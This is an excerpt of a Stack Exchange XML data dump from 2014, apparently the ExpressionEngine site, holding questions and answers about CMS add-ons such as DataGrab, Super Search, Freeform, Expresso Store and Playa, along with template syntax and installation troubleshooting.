  <row Id="23941" PostTypeId="2" ParentId="23937" CreationDate="2014-06-24T18:40:56.637" Score="0" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yP6Ii.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would need more information, but for an initial quick reply on my assumptions, my instinct is that for importing and synching (as in not &lt;em&gt;re-importing&lt;/em&gt; data but rather &lt;em&gt;updating&lt;/em&gt;) the indispensable &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow noreferrer&quot;&gt;DataGrab&lt;/a&gt; might suit the bill. It allows you to import multiple formats, from RSS to XML and JSON, etc., and specify a key (think database index/key) so that duplicate keys won't be re-introduced to your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you would be able to key the external unique identifier to your internal (EE) unique identifier, and thus not only &lt;em&gt;import&lt;/em&gt; your records, but also &lt;em&gt;update&lt;/em&gt; them if they change on the other side. Sweet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the programmatic part: set a cron job to poll ExpressionEngine's native &lt;code&gt;?ACT=XX&amp;amp;id=XX&lt;/code&gt; urls and the system will update whenever you wish. ;-) If you're stuck with only having image URLs to work with but you wish to actually bring in the images, I believe that &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow noreferrer&quot;&gt;Causing Effect's CE Image&lt;/a&gt; will work with an external URL (fist time the page loads) and thereafter use the local file. So as long as you can get the image's URL into EE, you can have the system (via CE Image) pull it in for you. I don't know how I would integrate this with Assets, but I haven't actually thought that part through. I'm sure you'll be able to come up with &lt;em&gt;something.&lt;/em&gt; :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow noreferrer&quot;&gt;DataGrab&lt;/a&gt; extensively on a client site to bring in RSS feeds of medical articles. I'm able to filter the incoming feeds to only import articles that contain certain words (since I don't want non-relevant articles) and it's superb, a deceptively simple-looking Swiss Army Knife of data import, and one I recommend &lt;strong&gt;&lt;em&gt;highly.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow noreferrer&quot;&gt;Check it out&lt;/a&gt;!&lt;/p&gt;&#xA;" OwnerUserId="819" LastEditorUserId="819" LastEditDate="2014-06-25T17:15:31.447" LastActivityDate="2014-06-25T17:15:31.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23942" PostTypeId="2" ParentId="23940" CreationDate="2014-06-24T19:06:05.933" Score="1" Body="&lt;p&gt;Okay, got it working. Uninstalled &amp;amp; reinstalled Calendar to no avail. Turned out to be incorrect DB in my config file. &lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-06-24T19:06:05.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23943" PostTypeId="1" AcceptedAnswerId="25051" CreationDate="2014-06-24T20:03:29.337" Score="1" ViewCount="101" Body="&lt;p&gt;I have a channel that I don't want searchable, however suggestive search results containing entry titles for this channel still appear. I'm using Super Search 2.04 and EE 2.5.2. I know that you can easily disable searching on custom channel fields but I need to disable searching for the entry titles of this channel. Further I thought that changing all entries to status closed might resolve it but it does not. Any tips or suggestions would be greatly appreciated! &lt;/p&gt;&#xA;" OwnerUserId="3279" LastEditorUserId="1326" LastEditDate="2014-06-25T13:45:16.440" LastActivityDate="2014-09-11T04:11:17.313" Title="Can you set a channel as unsearchable?" Tags="|search|supersearch|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23944" PostTypeId="2" ParentId="23917" CreationDate="2014-06-24T20:04:22.103" Score="0" Body="&lt;p&gt;No, it isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe your better solution is to code a simple plugin which converts a date into a season and vice-verse. You can provide as parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;season&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;start&lt;/code&gt; or &lt;code&gt;end&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;hemisphere&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or something like that and use the returned value to fill the parameters &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;start_on&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#stop-before&quot; rel=&quot;nofollow&quot;&gt;´stop_before`&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-24T20:04:22.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23945" PostTypeId="1" AcceptedAnswerId="23995" CreationDate="2014-06-24T20:16:46.343" Score="1" ViewCount="64" Body="&lt;p&gt;I have this as a template and I am wondering is this the way you build these? The documentation is not quite clear on how the variables are meant to be formed for an html email. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt; Order:{hook:transaction_id}&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Thank you for your purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;     {hook:items}&#xA;   &#xA;     {hook:item:quantity} x &#xA;     {hook:item:title}{hook:item:product_notes}&lt;br /&gt; &#xA;       {hook:item:price}&#xA;   &#xA;     {/hook:items}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA; &lt;p&gt;&#xA;  Total: {order_total}&lt;br /&gt;&#xA;  &lt;/p&gt;&#xA;  &lt;p&gt;&#xA;    Email: {hook:order_customer_email}&#xA; &lt;/p&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-06-26T04:18:05.990" Title="How is a postmaster Cart Throb on authorize hook mail formed?" Tags="|postmaster|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23946" PostTypeId="1" CreationDate="2014-06-24T20:23:26.067" Score="1" ViewCount="96" Body="&lt;p&gt;I've set up normal forms using Freeform, but now we have a client who has these massively long forms that require something I've never done before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently all the forms are built with Google Forms, which provides a way for whoever is filling out the form to stop, submit the form so far, and come back later to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace support assures me this has been done with Freeform Pro. Does anyone have any ideas or code examples that can point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="2743" LastEditorUserId="2743" LastEditDate="2014-06-25T13:19:10.050" LastActivityDate="2014-06-25T13:19:10.050" Title="Need help with long forms using Solspace Freeform Pro" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23947" PostTypeId="1" CreationDate="2014-06-24T20:26:11.490" Score="1" ViewCount="79" Body="&lt;p&gt;I need help with a webhook on a client site which is not working since updating to 2.8.1 and ZooVisitor 1.3.32. When an order is fulfilled in the client's Shopify store it issues a JSON notification instructing EE+ZooVisitor to create/update a member account. Best I can tell Shopify is doing its part but something is no longer functioning correctly on the receiving EE end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be related to the new XID security requirements? I successfully fixed a form elsewhere on the site by adding the XID hash, but I have no clue where to add that to a webhook without a little guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was initially set up by an EE developer who has since gone AWOL and left me pretty much stranded. I would greatly appreciate any assistance anyone can offer to get this back up and running ASAP. I’m pretty familiar with EE but my background is primarily on the design side and this is apparently over my head.&lt;/p&gt;&#xA;" OwnerUserId="3278" LastEditorUserId="3278" LastEditDate="2014-06-24T20:33:41.033" LastActivityDate="2014-08-25T17:03:07.143" Title="Webhook no longer working in EE 2.8.1" Tags="|zoo-visitor|xid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23950" PostTypeId="2" ParentId="23907" CreationDate="2014-06-25T00:02:40.190" Score="1" Body="&lt;p&gt;Lots of digging around in the documentation got me some answers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The login button is clever enough to know if you a user has already synced accounts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;{exp:fbc:login_status}&#xA;{if fbc_logged_into_facebook_and_ee == &quot;y&quot;}&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;{exp:fbc:account_sync_form&#xA;return_when_unsynced=&quot;account/profile&quot;&#xA;}&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;unsync&quot; id=&quot;unsync&quot; value=&quot;yes&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-06-25T00:02:40.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23951" PostTypeId="1" CreationDate="2014-06-25T00:09:51.963" Score="0" ViewCount="72" Body="&lt;p&gt;Maybe I have this wrong but I thought that if a user is logging in using FBC then the popup window gives them the option of previewing and agreeing to the FB APP requirements. When I click on the login link it's just redirecting to my specified return URL and the connection is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an error or am I missing a configuration setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:fbc:login&#xA;                permissions=&quot;email|publish_stream|read_stream&quot;&#xA;                return_when_logged_in=&quot;account/profile&quot;&#xA;                return_when_logged_out=&quot;home/index&quot;&#xA;                return_to_register=&quot;account/register&quot;&#xA;                return_on_failure=&quot;account/profile/fail&quot;&#xA;            }&#xA;                {if fbc_logged_out == &quot;y&quot;}&#xA;                    {fbc_login_button}&#xA;                {/if} &#xA;            {/exp:fbc:login}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="2290" LastEditDate="2014-06-25T02:45:33.767" LastActivityDate="2014-06-25T02:45:33.767" Title="Solspace Facebook Connect: Pop-up window disappears without letting user confirm settings" Tags="|solspace|solspace-facebookconnect|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23952" PostTypeId="1" CreationDate="2014-06-25T00:18:14.670" Score="2" ViewCount="106" Body="&lt;p&gt;deciding between expresso store and bigcommerce. i need to be able to either sync inventory to POS system such as quickbooks. or use e-commerce that allows for POS point of sale orders in-person or over the phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does expresso store have any POS features to take cash payments in store or over the phone orders? &lt;/p&gt;&#xA;" OwnerUserId="3281" LastEditorUserId="-1" LastEditDate="2014-06-25T06:22:59.663" LastActivityDate="2014-06-25T19:24:35.620" Title="point of sale / in-store or phone orders" Tags="|expresso-store|ee2|expresso|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23955" PostTypeId="1" CreationDate="2014-06-25T03:41:21.153" Score="1" ViewCount="38" Body="&lt;p&gt;I am trying to build tabs using a matrix with a playa inside of it my basic code looks something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did something like this inside before and works. does anyopne know what I am missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;   channel=&quot;nwt_3rd_order_location_group&quot; &#xA;   show_pages=&quot;only&quot; show_pages=&quot;no&quot;&#xA;   limit=&quot;1&quot;&#xA;   disable=&quot;member_data|pagination&quot;&#xA;   parse=&quot;inward&quot;&#xA;   } &#xA;&#xA;&amp;lt;dl class=&quot;tabs contained&quot;&amp;gt;&#xA;     {discipline_3rd_order var_prefix=&quot;discipline_matrix&quot;}&#xA;        {discipline_matrix:m_p_discipline var_prefix=&quot;mx_disipline_playa&quot;}&#xA;          &amp;lt;dd  {if count == '1'}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;#simpleContained{url_title}&quot;&amp;gt;{mx_disipline_playa:discipline_short_name}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;                    {/discipline_matrix:m_p_discipline}&#xA;                {discipline_3rd_order}&#xA;&amp;lt;/dl&amp;gt;&#xA;&amp;lt;ul class=&quot;tabs-content contained&quot;&amp;gt;&#xA;           {discipline_3rd_order var_prefix=&quot;discipline_matrix&quot;}&#xA;             {discipline_matrix:m_p_discipline var_prefix=&quot;mx_disipline_playa&quot;}&#xA;        &amp;lt;li {if count == '1'}class=&quot;active&quot;{/if} id=&quot;simpleContained{url_title}Tab&quot;&amp;gt; &#xA;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;  &#xA;&#xA;                                    {mx_disipline_playa:discipline_description}&#xA;&#xA;                                    {discipline_matrix:m_dynamic_map_3rd_order} &#xA;&#xA;                       &amp;lt;/div&amp;gt; &#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;             {/discipline_matrix:m_p_discipline}&#xA;          {/discipline_3rd_order}&#xA;&#xA; {/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="150" LastEditDate="2014-06-28T21:21:51.000" LastActivityDate="2014-06-28T21:21:51.000" Title="Embeding a playa in matrix using tabs" Tags="|matrix|templates|playa|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23956" PostTypeId="1" CreationDate="2014-06-25T06:00:01.017" Score="0" ViewCount="146" Body="&lt;p&gt;I have been trying to install expression engine on my server following this tutorial &#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=_4YlHgT4Gdo&amp;amp;index=1&amp;amp;list=PL07271CFF71F8FF22&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=_4YlHgT4Gdo&amp;amp;index=1&amp;amp;list=PL07271CFF71F8FF22&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I transferred all the files through filezilla and changed the numbers of the permission as explained in the tutorial, but I got stuck with one step. I tried to log in to the website by adding admin.php at the end of the link, but bluehost keeps showing this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;404 Error File Not Found&#xA;The page you are looking for might have been removed,&#xA;had its name changed, or is temporarily unavailable.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What went wrong? how can I continue installing EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2014-07-25T15:10:39.357" Title="Problem installing EE on the server" Tags="|error|server|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23958" PostTypeId="1" AcceptedAnswerId="24091" CreationDate="2014-06-25T07:40:46.807" Score="0" ViewCount="75" Body="&lt;p&gt;Using the store tags for displaying the various items and values for the orders, how would I be able to calculate the shipping cost according to the user's delivery/billing address entered during the checkout process? As the user is checking out, I need to update a sidebar with all the costs, including the shipping cost for which I am using the store tags.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-07-01T03:48:23.723" Title="Calculate Shipping Cost In Expresso Store" Tags="|expresso-store|ee2|checkout|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23959" PostTypeId="1" AcceptedAnswerId="23972" CreationDate="2014-06-25T07:42:21.727" Score="0" ViewCount="45" Body="&lt;p&gt;In a website I am busy building in EE2, I need to build a metric dashboard displaying all sorts of tracked analytics for the website. I installed the cp_analytics plugin into Expression Engine I bought from devot:ee which looks amazing, but how would I retrieve and display other google analytics values such as viewing by device type, visitor stats etc? I suppose I probably need to link the site to a Analytics account? But is there some sort of API I can use to retrieve these values and display them on the dashboard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there built in analytics in EE for EE specifc analysis i.e. page views, email analytics etc?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-25T15:44:07.997" Title="Using cp_analytics plugin for Expression Engine2" Tags="|ee2|google-analytics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23961" PostTypeId="1" AcceptedAnswerId="24008" CreationDate="2014-06-25T10:16:38.210" Score="0" ViewCount="84" Body="&lt;p&gt;I have a requirement and want to check with expresso-store developers whether its possible or not.&lt;/p&gt;&#xA;&lt;p&gt;Requirements&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;One superadmin who can administer all stores, like adding or deleting a store.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Multiple owners can register their own store(s) and should be able to run and maintain their individual store(s). (Like update/publish new products, inventory, sale records, orders, etc)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each owner will be given their own login credentials to manage their stores, products and orders etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each store should have a separate URL,for example if my domain URL is www.nisarstores.com,then each store should have a URL like store-1.nisarstores.com,store-2.nisarstores.com etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each website will display products related to only that store. For eg. store-1.nisarstores.com will display products only of that store.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Orders made on a store should be visible and maintained by respective store admin.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The store FE needs to be multi-lingual.&lt;/p&gt;&#xA;&lt;p&gt;Hope I was clear in explaining my requirement,so please give your feedback whether this kind of requirement is possible using expresso-store or not.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Cheers&#xA;Nisar&lt;/p&gt;&#xA;" OwnerUserId="1210" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-06-26T14:27:51.393" Title="Is it possible using expresso store?" Tags="|expresso-store|ee2|ecommerce|shopping-cart|simple-commerce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23962" PostTypeId="2" ParentId="23860" CreationDate="2014-06-25T11:52:13.060" Score="1" Body="&lt;p&gt;EE 2.8 will consider any tag variable that contains &quot;format=&quot;, &quot;timezone=&quot;, or &quot;:relative&quot; a date variable. Do you have any tags within your exp:rest tag pair that contain any of those phrases? For example, these made up variables would be considered date variables: &lt;code&gt;{foo format=&quot;%Y&quot;}&lt;/code&gt;, &lt;code&gt;{bar timezone=&quot;America/Chicago&quot;}&lt;/code&gt;, and &lt;code&gt;{oldest:relative}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-06-25T11:52:13.060" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="23963" PostTypeId="1" AcceptedAnswerId="24056" CreationDate="2014-06-25T12:09:07.190" Score="1" ViewCount="57" Body="&lt;p&gt;Using store, I am creating a multi-step checkout process. The first form is displaying the products in the cart page, second is shipping details form and third is my credit card/payment page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my first form the user is allowed to enter a promo code. This refresh the page and displays the &lt;code&gt;order_discount&lt;/code&gt; correctly, but when going to the next step, it seems as if the &lt;code&gt;order_discount&lt;/code&gt; tag resets to R0.00. what could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-28T17:27:34.353" Title="Store order_discount Not Showing In Next Step" Tags="|expresso-store|ee2|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23964" PostTypeId="2" ParentId="23886" CreationDate="2014-06-25T12:51:14.737" Score="0" Body="&lt;p&gt;It's the same here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened a Ticket in Solspace and the answer is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The slowdown could be caused by Super Search indexing the data during save so that it can be used in searches later.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Also, are you using the &quot;Channel Refresh&quot; cache refreshing option in Super Search (in the CP, in the &quot;Preferences&quot; tab, under &quot;Refresh Rules&quot;)? If so, you might want to consider using the &quot;Refresh&quot; option only by setting Super Search to refresh cache only at a set interval (eg. 10 minutes).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3284" LastActivityDate="2014-06-25T12:51:14.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23965" PostTypeId="2" ParentId="23956" CreationDate="2014-06-25T13:34:56.707" Score="2" Body="&lt;p&gt;I checked &lt;a href=&quot;http://qatarphil.net&quot; rel=&quot;nofollow&quot;&gt;http://qatarphil.net&lt;/a&gt; and got a blank page, but with &lt;a href=&quot;http://qatarphil.net/index.php&quot; rel=&quot;nofollow&quot;&gt;http://qatarphil.net/index.php&lt;/a&gt; I get the &quot;Your config file does not appear to be formatted correctly.&quot; message. Which is positive. It looks like your files are all in place and the domain issues are worked out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check the official install instructions here:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/installation.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/installation/installation.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the admin link (admin.php), you should be able to install the system. If you still have trouble, doublecheck your database name, database username and database password in the Bluehost control panel. I've installed many EE sites on Bluehost, so I know the service is more than capable of handling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck. You're almost there.&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-06-25T13:34:56.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23966" PostTypeId="2" ParentId="23924" CreationDate="2014-06-25T13:49:11.670" Score="8" Body="&lt;p&gt;EE has always maintained a unique entry id, but only unique url titles within a given channel. There is no way that I know of to force unique url titles across all channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This usually isn't an issue so long as you are specifying channels in your template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally this is why EE uses a /category/ segment when using category url titles - that's the trigger to know that what follows is a category url title and not an entry url title.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But it happens that you're overriding the default behavior. Take a look at &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow&quot;&gt;this schema&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The segment used for the category URL indicator is the same used for entry &lt;code&gt;url_title&lt;/code&gt;. If you want to override the URL behavior of EECMS, remember to set the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;dynamic&lt;/code&gt;&lt;/a&gt; parameter to &lt;code&gt;no&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, you're sending the IDs of the categories as embed variables, so they don't even need to be picked from the URL! From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using this parameter will automatically cause ExpressionEngine to ignore any category information specified via the URL. For instance, if you are on a “category page” (e.g. a /C13/ segment in the URL) that will be completely ignored in favor of whatever you have specified via the parameter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Take some time to study how the URL are used by EECMS.&lt;/p&gt;&#xA;" OwnerUserId="651" LastEditorUserId="343" LastEditDate="2014-06-27T19:29:01.950" LastActivityDate="2014-06-27T19:29:01.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23967" PostTypeId="2" ParentId="23943" CreationDate="2014-06-25T13:54:34.127" Score="1" Body="&lt;p&gt;You can set specific channels to limit results on your exp:super_search:results tag like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;    channel=&quot;news|another_channel&quot;&#xA;    limit=&quot;20&quot;&#xA;    hightlight_keywords=&quot;strong&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(see &lt;a href=&quot;http://www.solspace.com/docs/super_search/post_get_or_template/&quot; rel=&quot;nofollow&quot;&gt;solspace docs here&lt;/a&gt;, and under &quot;why does it work that way&quot; heading). Setting the channel parameter here should prevent results from showing up from the channel you want hidden.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-06-25T13:54:34.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23968" PostTypeId="1" CreationDate="2014-06-25T14:13:05.367" Score="0" ViewCount="94" Body="&lt;p&gt;What is the correct syntax for setting the selected year drop down upon a search?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:archive &#xA;                events_field=&quot;events_date_time&quot; &#xA;                show_passed=&quot;no&quot; &#xA;                show_future_entries=&quot;yes&quot;&#xA;                unit='year'&#xA;            }&#xA;&amp;lt;option {if low_search_low_events:date == date_url} selected=&quot;selected&quot;{/if} value=&quot;{year}&quot;&amp;gt;{year}&amp;lt;/option&amp;gt;&#xA;{/exp:low_events:archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works when unit is set to month, but not year.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="257" LastEditDate="2014-06-25T14:25:49.857" LastActivityDate="2014-06-25T17:43:19.063" Title="Low events and low search - selecting year" Tags="|low-search|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23969" PostTypeId="2" ParentId="23952" CreationDate="2014-06-25T14:42:15.637" Score="2" Body="&lt;p&gt;There is nothing built into Store that allows it to take cash orders but you could easily create an admin page with Store templates for your employee's then use the Manual gateway which is perfect for cash, checks or similar orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With phone orders you could do the same thing or if customers are giving their card number over the phone you could use whatever gateway you are normally using on your site. The only thing is if you are creating orders they would not be linked to a customer's member account if you were logged in so you would probably be best to to use some other form of authentication to block the page from normal users being able to see it and whoever is taking the phone order to be logged out. I would also recommend that you have the person taking the phone get the persons email address so that if the user creates an account existing orders will be linked to their account automatically.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-06-25T19:24:35.620" LastActivityDate="2014-06-25T19:24:35.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23970" PostTypeId="1" CreationDate="2014-06-25T15:39:41.020" Score="0" ViewCount="52" Body="&lt;p&gt;Have a problem with using Playa as a field within a Matrix field where the selected entry is not being saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oldish version of EE (2.4) but should be supported. Entry appears to save okay but when revisit entry the field is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody got any thought?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-07-26T08:32:05.643" Title="Matrix/Playa saving issue" Tags="|matrix|playa|pixelandtonic|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23972" PostTypeId="2" ParentId="23959" CreationDate="2014-06-25T15:44:07.997" Score="1" Body="&lt;p&gt;You have two good alternatives to CP Analytics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://republiclabs.com/expressionengine/republic-analytics&quot; rel=&quot;nofollow&quot;&gt;Republic Analytics&lt;/a&gt; shows a lot of information;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entry-analytics&quot; rel=&quot;nofollow&quot;&gt;Entry Analytics&lt;/a&gt; show info close to the entry on CP;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe, one of them shows what you need.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-25T15:44:07.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
